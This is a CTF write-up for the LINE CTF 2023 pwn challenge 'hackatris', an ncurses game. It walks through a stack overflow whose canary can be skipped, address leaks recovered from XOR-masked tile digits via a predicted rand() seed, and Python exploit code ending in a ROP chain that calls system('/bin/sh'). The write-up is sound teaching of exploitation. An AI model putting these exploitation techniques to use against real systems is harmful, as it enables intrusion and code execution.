Line CTF 2023 - hackatris

Score 341 Solve 6 pwn misc

libc (sha256, Ubuntu GLIBC 2.35-0ubuntu3.1): 568740b06a8afa26db4874f8cf61985ecbc6dd127f4229416fe95da8f9ec13fb stty raw -echo;nc 35.194.113.63 10004

Team: HK Guesser

Attachment: hackatris.tar.gz Original_Exploit Pyte_Version libc run.sh run_local.sh

Hackatris

A ncurses challenge again =(

While solving this challenge during the ctf, most of the time went into parsing that ncurses screen. After the ctf ended, I saw a neat solution from Chovid99 though, using pyte to do the parsing in a much cleaner way.

So, let’s first go through the original solution. But for not having not to suffer that pain with ncurses in the future anymore, I’ll also add a cleaned up exploit, combining Chovid99’s approach for parsing with my exploit.

Original solution

The game has an obvious buffer overflow in show_scoreboard

while ( 1 )
{
    input_char = wgetch(v5);

    if ( input_char > 47 && input_char <= 57 )
    {
        nibble = input_char - 48;
        if ( (v4 & 1) != 0 )
            buffer[v4 / 2] |= nibble & 0xF;
        else
            buffer[v4 / 2] = 16 * nibble;
        goto LABEL_13;
    }

    if ( input_char <= 96 || input_char > 122 )
        break;

    nibble2 = input_char - 97 + 10;

    if ( (v4 & 1) != 0 )
        buffer[v4 / 2] |= nibble2 & 0xF;
    else
        buffer[v4 / 2] = 16 * nibble2;

LABEL_13:
    ++v4;
}
if ( input_char != 10 )
    goto LABEL_13;

This will read input from the user, converts it into a nibble and writes it to the buffer on the stack. Thus, we can directly write bytes on the stack and also overflow the buffer (since it will continue until we press Enter).

Though it has a canary, that can be easily circumvented by just entering characters not in the valid range [0-9, a-f]. The function will then not touch the current nibble and just step forward to the next.

payload = "aa" * 0x48           # fill buffer
payload += "`" * 32             # skip canary and rbp
payload += "bb" * 0x8           # overwrite rip

This payload would leave the canary and rbp intact and segfault into 0xbbbbbbbbbbbbbbbb. Easy enough.

The main problem for this challenge is to get proper leaks, since PIE and ASLR is active. As soon as we have a libc leak, this should be easily finished.

The binary contains a pointer to system, though system isn’t called anywhere, so let’s check, what it is used for then.

unsigned long get_bleak()
{
  int rand_value;
  void *p_system; 
    
  rand_value = rand() % 6;

  B_leak_c += 10;
  B_leak_r = B_leak_c + rand_value;

  p_system = system_p;

  B_leak[0] = (__int64)*(&p_system + rand_value);
  B_leak[1] = (__int64)*(&p_system + rand_value);
  B_leak[2] = (__int64)*(&p_system + rand_value);
  B_leak[3] = (__int64)*(&p_system + rand_value);

  B_leak[0] ^= 0x4141414141414141;
  B_leak[1] ^= 0x4141414141414141;
  B_leak[2] ^= 0x4141414141414141;
  B_leak[3] ^= 0x4141414141414141;  
}

Everytime, a new tile is popped from the tile queue, the binary will call get_bleak, to initialize the B_leak array, which is used to draw the numbers on the different tiles.

p_system will point to the stack frame and depending on rand_value, we’ll get the address at the corresponding offset to it:

0 - System
1 - Canary
2 - RBP
3 - Return address (PIE)
4 - Stack
5 - PIE address

So, if we know the initial rng seed, we can parse the tiles in the game screen, reverse the xor on it, and by knowing rand_value recalculate single bytes from the original address.

Since every tile will take different bytes from the B_leak array, we’d just have to play the game long enough to reverse all the addresses on the stack frame (we only need system address though).

RNG is initialized with srand(time(0)), so guessing the random values in the binary is easy.

At start, the binary pushes three tiles to the queue and pops the first tile, so let’s simulate this

SHAPES = []
BLEAKS = []

SHAPE_IDX = -1
BLEAK_IDX = -1

def push():
    global SHAPES, BLEAKS
    SHAPES.append(lc.rand() % 7)

def pop():
    global SHAPES, BLEAKS, SHAPE_IDX, BLEAK_IDX
    BLEAKS.append(lc.rand() % 6)

    SHAPE_IDX += 1
    BLEAK_IDX += 1
    push()

def exploit(r):
    global SHAPES, BLEAKS, CURBLOCK

    # initialize seed for rand
    lc.srand(lc.time(None))

    # initialize shape and bleak arrays
    push()
    push()
    push()
    pop()

    for i in range(len(SHAPES)):
        debug("Shape {}: {}".format(i, SHAPES[i]))

    for i in range(len(BLEAKS)):
        debug("Bleak {}: {}".format(i, BLEAKS[i]))

With this, we’ll know the first 3 tiles in the queue and also the first rand_val for get_bleak.

Parsing the map was the most painful thing in this challenge, so yeah, ncurses made me curse a lot…

ansi_escape = re.compile(r'''
    \x1B
    (?:
        [@-Z\\-_]
    |
        \[
        [0-?]*
        [ -/]*
        [@-~]
    )
    ''', re.VERBOSE)

def receive():
    data = r.recv(10000)
    print data
    decoded = ansi_escape.sub('', data)
    parsed = ''.join([i for i in decoded if i in CHARSET]).strip()
    return data, decoded, parsed

def receive_new_block():
    global CURBLOCK
    cur_dir = 0

    while True:
        data, decoded, parsed = receive()

        if len(parsed) == 2*4:
            # possible new block
            if parsed != CURBLOCK:
                # found new block
                debug("Found new block: %s" % parsed)
                CURBLOCK = parsed
                return CURBLOCK

def exploit(r):
    ...

    # receive blocks and update leaks
    while True:
        # receive next block
        block = receive_new_block()

        # recalculate leaks from block and current bleak value
        parse_block(block, SHAPES[SHAPE_IDX], BLEAKS[BLEAK_IDX])

        # print leaks to debug output
        debug_leaks()

        if system_leak_finished():
            break

        # send input to drop block
        drop_block()

        CURBLOCK = "AAAAAAAA"

        # fetch next block from queue
        pop()

    # calculate libc base
    libc.address = get_addr(LEAKS[0]) - libc.symbols["system"]
    debug("LIBC   : %s" % hex(libc.address))

    # play manually to get a score > 0
    r.interactive()

The loop will now always receive the game screen (parse it with the regular expressions to get rid of the ANSI codes) until it finds a new block (consisting of 4 bytes), then parse the block, recalculating the leaks, send a keyboard sequence to drop the block somewhere on the bottom and simulate the pop for a new block (which will calculate the next random values for shape and bleak).

It will continue doing this until it was able to completely reverse the address of system. We can then calculate libc base and switch to interactive, so we can manually play the game.

To get into the scoreboard, we’ll have to get a score > 0, so yeah, let’s just play it manually. To make this a bit easier, I piped the complete logging into a file (so we can tail it in a second terminal) and forwarded the received bytes from the service to the terminal, so it will draw the game board the same way as when directly connecting to it.

Since we now know, when a new block is dropped and know the random values, we can recalculate the leaks from it

LEAKS = [
    [0x60, 0, 0, 0, 0, 0x7f, 0x0, 0],   # SYSTEM
    [0, 0, 0, 0, 0, 0, 0, 0],           # CANARY
    [0, 0, 0, 0, 0, 0, 0, 0],           # RBP
    [0, 0, 0, 0, 0, 0, 0, 0],           # PIE1
    [0, 0, 0, 0, 0, 0, 0, 0],           # STACK
    [0, 0, 0, 0, 0, 0, 0, 0],           # PIE2

def parse_block(block, shape, bleak):
    global LEAKS

    debug("Parse_block: %s / %d / %d" % (block, shape, bleak))

    bytes = []

    for i in range(4):
        bytes.append((block[i*2:(i*2)+2]).decode("hex"))

    if shape == 0:
        LEAKS[bleak][6] = ord(bytes[0]) ^ 0x41
        LEAKS[bleak][7] = ord(bytes[1]) ^ 0x41
        LEAKS[bleak][3] = ord(bytes[2]) ^ 0x41
        LEAKS[bleak][4] = ord(bytes[3]) ^ 0x41
    elif shape == 1:
        LEAKS[bleak][2] = ord(bytes[0]) ^ 0x41
        LEAKS[bleak][3] = ord(bytes[1]) ^ 0x41
        LEAKS[bleak][4] = ord(bytes[2]) ^ 0x41
        LEAKS[bleak][5] = ord(bytes[3]) ^ 0x41
    elif shape == 2:
        LEAKS[bleak][5] = ord(bytes[0]) ^ 0x41
        LEAKS[bleak][0] = ord(bytes[1]) ^ 0x41
        LEAKS[bleak][1] = ord(bytes[2]) ^ 0x41
        LEAKS[bleak][2] = ord(bytes[3]) ^ 0x41
    elif shape == 3:
        LEAKS[bleak][3] = ord(bytes[0]) ^ 0x41
        LEAKS[bleak][0] = ord(bytes[1]) ^ 0x41
        LEAKS[bleak][1] = ord(bytes[2]) ^ 0x41
        LEAKS[bleak][2] = ord(bytes[3]) ^ 0x41        
    elif shape == 4:
        LEAKS[bleak][4] = ord(bytes[0]) ^ 0x41
        LEAKS[bleak][0] = ord(bytes[1]) ^ 0x41
        LEAKS[bleak][1] = ord(bytes[2]) ^ 0x41
        LEAKS[bleak][2] = ord(bytes[3]) ^ 0x41
    elif shape == 5:
        LEAKS[bleak][0] = ord(bytes[0]) ^ 0x41
        LEAKS[bleak][4] = ord(bytes[1]) ^ 0x41
        LEAKS[bleak][5] = ord(bytes[2]) ^ 0x41
        LEAKS[bleak][1] = ord(bytes[3]) ^ 0x41
    elif shape == 6:
        LEAKS[bleak][6] = ord(bytes[0]) ^ 0x41
        LEAKS[bleak][3] = ord(bytes[1]) ^ 0x41
        LEAKS[bleak][4] = ord(bytes[2]) ^ 0x41
        LEAKS[bleak][1] = ord(bytes[3]) ^ 0x41

When we’re lucky enough and the leak for system gets finished in time, all there’s left to do, is to send the ropchain into reward to get a shell popping up.

# send ropchain to reward
POPRDI = libc.address + 0x2a3e5
RET = libc.address + 0xf872e

ropchain = p64(POPRDI)
ropchain += p64(next(libc.search("/bin/sh")))
ropchain += p64(RET)
ropchain += p64(libc.symbols["system"])

payload = "aa"*0x48                 # fill buffer
payload += "`"*32                   # skip canary+rbp
payload += ropchain.encode("hex")   # append ropchain

r.sendline(payload)

r.interactive()

Running it in two terminals will look like this:

Exploit

Since the parsing via the regular expressions was a bit rough, the exploit is not super stable and will have to be run multiple times to get lucky with the blocks and the leaks, but at some point it will do the job ;)

Exploit

Doing it cleaner with pyte

As mentioned before, after the ctf, I saw the solution from Chovid99, that used pyte to parse the ncurses screen. So in aftermath, I combined that with my approach to get a clean solution and serving as a lookup for future ncurses challenges for me.

In the cleaned up exploits, I’ll create multiple threads, one for parsing the game map and one for calculating the leaks when a new block is discovered. In the main thread, we can then read user input and forward it to the service, so the leaks will be the solved “while we play”.

def parse_game_thread():
    global GAME_SCREEN, GAME_FINISHED

    screen = pyte.Screen(100, 500)
    stream = pyte.ByteStream(screen)

    while not GAME_FINISHED:
        b = r.recv()
        print(b.decode("utf-8"))
        stream.feed(b)
        GAME_SCREEN = []
        for disp in screen.display[5:35]:
            GAME_SCREEN.append(disp[5:])
    
    log("Parse game thread finished")

def parse_leaks():
    global GAME_SCREEN, SYSTEM_LEAK_FINISHED
    last_difficulty = 0
    search_for_new_block = False

    while not SYSTEM_LEAK_FINISHED:
        # check if difficulty has changed => new block available
        difficulty = get_difficulty(GAME_SCREEN)

        if difficulty != -1 and (difficulty != last_difficulty):
            last_difficulty = difficulty
            search_for_new_block = True            
            time.sleep(1)  # sleep to make sure, that new block is already in screen

        # parse until we found a new block on top of the screen
        if search_for_new_block:
            found_block = get_new_block(GAME_SCREEN)

            if found_block:
                log("New block found : %s" % found_block)

                search_for_new_block = False                
                parse_block(found_block, SHAPES[SHAPE_IDX], BLEAKS[BLEAK_IDX])
                pop()
                debug_leaks()         
                check_for_finished_system_leak()     

def exploit(r):
    global GAME_SCREEN, GAME_FINISHED
    
    lc.srand(lc.time(None))

    push()
    push()
    push()
    pop()

    # start game parsing thread
    parser = threading.Thread(target=parse_game_thread, args=())
    parser.start()    

    # start leak deobfuscator thread
    leaker = threading.Thread(target=parse_leaks, args=())
    leaker.start()

    # listen to input and forward to game (end game session with 'q')
    while True:
        user_inp = input()
        if user_inp == "q":
            GAME_FINISHED = True
            break
        r.send(user_inp)
    
    leaker.join()

When leaks are finished, we’ll just have to score and play into a game over.

When we get to the reward screen, press q to finish the input thread, so the exploit can send the ropchain to it (check the attached exploit for details).

This was a lot more stable than the previous exploit :)

Example run video